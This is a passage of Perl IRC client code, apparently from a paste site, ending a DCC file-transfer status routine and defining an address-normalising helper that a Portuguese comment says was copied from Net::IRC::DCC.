  804.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  805.   }
  806.  
  807.  
  808.   return(0);
  809. }
  810.  
  811.  
  812. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  813. sub fixaddr {
  814.     my ($address) = @_;
  815.  
  816.     chomp $address;     # just in case, sigh.
  817.     if ($address =~ /^\d+$/) {
  818.         return inet_ntoa(pack "N", $address);
  819.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  820.         return $address;
  821.     } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation!
  822.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  823.     } else {
  824.         return;
  825.     }
  826. }
Advertisement
Add Comment
Please, Sign In to add comment